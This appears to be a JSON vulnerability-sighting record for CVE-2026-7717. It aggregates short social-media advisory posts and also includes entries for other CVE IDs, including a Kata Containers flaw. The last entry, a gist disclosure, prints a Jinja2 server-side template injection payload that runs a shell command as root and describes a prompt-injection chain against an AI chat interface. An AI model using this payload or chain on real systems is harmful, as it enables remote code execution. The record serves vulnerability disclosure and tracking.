{"vulnerability": "CVE-2026-7717", "sightings": [{"uuid": "9ec0eb06-26ef-4bfb-86fe-18f59bcafa50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-7717", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkyitpy4ep2l", "content": "\ud83d\udfe0 CVE-2026-7717 - High (8.8)\n\nA vulnerability was determined in Totolink WA300 5.2cu.7112_B20190227. This issue affects the fun...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-7717/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-04T01:17:58.375916Z"}, {"uuid": "a249abf0-4cc4-4b44-bbde-c1010a8310fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-7717", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkyovthfca2r", "content": "CVE-2026-7717 - Totolink WA300 POST Request cstecgi.cgi UploadCustomModule buffer overflow\nCVE ID : CVE-2026-7717\n \n Published : May 4, 2026, 1:16 a.m. | 1\u00a0hour, 4\u00a0minutes ago\n \n Description : A vulnerability was determined in Totolink WA300 5.2cu.7112_B20190227. This issue af...", "creation_timestamp": "2026-05-04T03:06:30.695968Z"}, {"uuid": "9990fbab-87b1-4c5d-9dba-6700c586d6f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77176", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mtko5oxiwy2e", "content": "CVE-2026-77176 lets a malicious operator mount arbitrary guest rootfs paths in Kata Containers Confidential Containers setups. Update to Kata 4.1.0.\n\n#CVE202677176 #KataContainers #ConfidentialContainers #CloudSecurity #genpolicy #infosec", "creation_timestamp": "2026-08-21T02:02:29.689539Z"}, {"uuid": "d3d3da10-f53d-47fc-b841-b2ec96a0447c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77176", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtjtap5dbe2z", "content": "\ud83d\udfe0 CVE-2026-77176 - High (8.1)\n\nA flaw was found in Kata Containers. In configurations utilizing genpolicy for Confidential Conta...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-77176/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-20T18:00:59.976617Z"}, {"uuid": "df884814-c2ae-4b82-a072-6d27efdaed9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77177", "type": "seen", "source": "https://gist.github.com/abhi04anon/8ce0b68a5a7dda8a0501cbaf933173eb", "content": "Title: CVE-2026-77177\n\nVulnerability: Server-Side Template Injection (SSTI) in Open GenAI Stack (aka ogx-ai) 2026-06-11\n\nDescription:\nOpen GenAI Stack (aka ogx-ai) 2026-06-11, as used in the Meta AI backend for WhatsApp and other products, allows code execution because prompt injection (with Jinja2 template syntax) can be used to achieve server-side expression evaluation without sanitization.\n\nCVE ID: CVE-2026-77177\nCVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\nScore: 10.0 Critical\n\nAffected Product: Open GenAI Stack (ogx-ai) 2026-06-11\nGitHub: https://github.com/ogx-ai/ogx\nGitHub Advisory: https://github.com/ogx-ai/ogx/security/advisories/GHSA-q6fp-rfwr-759p\n\nProof of Concept:\nPayload: {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}\nResponse: uid=0(root) gid=0(root) groups=0(root)\n\nAttack Chain:\n1. Prompt injection via WhatsApp Meta AI interface\n2. Jinja2 template expression evaluation confirmed: {{7*7}} = 49\n3. Shell subprocess confirmed: /bin/sh: 1: ps.popen: not found\n4. Full RCE achieved as root: uid=0(root) gid=0(root) groups=0(root)\n\nInfrastructure Disclosed:\n- Hostname: meta-ai-sandbox\n- OS: Ubuntu 20.04 LTS\n- Kernel: Linux 5.4.0-42-generic\n- Virtualization: KVM\n- Internal IP: 10.0.2.15/24\n\nDiscovered by: Abhirup Sarkar (GitHub: abhi04anon)\nDiscovery Date: June 11, 2026\nCVE Assigned: August 2026", "creation_timestamp": "2026-08-28T15:25:39.297277Z"}]}